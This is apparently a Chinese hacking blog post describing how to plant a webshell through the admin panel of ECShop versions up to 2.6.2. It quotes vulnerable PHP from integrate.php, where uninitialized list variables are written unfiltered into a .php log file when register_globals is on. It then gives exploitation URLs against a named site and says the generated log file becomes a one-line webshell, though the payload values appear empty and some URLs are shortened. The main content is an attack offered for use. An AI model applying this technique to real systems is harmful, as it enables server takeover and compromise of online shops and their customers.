ECShop网店系统<=V2.6.2 后台拿webshell
ECSHOP前段时间出了个注射漏洞：http://bbs.wolvez.org/topic/67/，拿后台权限应该没有问题，但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell，无聊中我baidu、google了下，网上貌似没有拿shell的办法。好久没读代码了，无聊中下了ECSHOP最新版（V2.6.2）的源码过来读，很庆幸，给我找到一个可以直接写shell的文件。与注射一样，同样是个变化未初始化导致的问题，于是，同样只能用在register_globals为on的环境下。 <br />integrate.php第740行起： <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"> <br />if ($_REQUEST['act'] == 'sync') <br />{ <br />$size = 100; <br />...... <br />$tasks = array(); <br />if ($task_del > 0) <br />{ <br />$tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'' . $_LANG['task_uncomplete'] . ''); <br />$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2"; <br />$del_list = $db->getCol($sql);//$del_list未初始化 <br />} <br />if ($task_rename > 0) <br />{ <br />$tasks[] = array('task_name'=>sprintf($_LANG['task_rename'], $task_rename),'task_status'=>'' . $_LANG['task_uncomplete'] . ''); <br />$sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3"; <br />$rename_list = $db->getAll($sql);//$rename_list未初始化 <br />} <br />if ($task_ignore >0) <br />{ <br />$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4"; <br />$ignore_list = $db->getCol($sql);//$ignore_list未初始化 <br />} <br />...... <br />/* 保存修改日志 */ <br />$fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb'); <br />$log = ''; <br />if (isset($del_list)) <br />{ <br />$log .= '$del_list=' . var_export($del_list,true) . ';'; <br />} <br />if (isset($rename_list)) <br />{ <br />$log .= '$rename_list=' . var_export($rename_list, true) . ';'; <br />} <br />if (isset($ignore_list)) <br />{ <br />$log .= '$ignore_list=' . var_export($ignore_list, true) . ';'; <br />} <br />//未做过滤，直接写log <br />fwrite($fp, $log); <br />fclose($fp); <br />$smarty->assign('tasks', $tasks); <br />$smarty->assign('ur_here',$_LANG['user_sync']); <br />$smarty->assign('size', $size); <br />$smarty->display('integrates_sync.htm'); <br />} <br /></div><br />$del_list、$rename_list、$ignore_list均没有初始化，于是，均可以直接写shell。 <br />利用方法： <br />http://www.oldjun.com/admin/integrate.php?act=sync&del_list= <br />http://www.oldjun.com/admin/inte ... nc&rename_list= <br />http://www.oldjun.com/admin/inte ... nc&ignore_list= <br />三个链接，随便输入一个就可以了，生成http://www.oldjun.com/data/integrate__log.php，就是一句话小马了~
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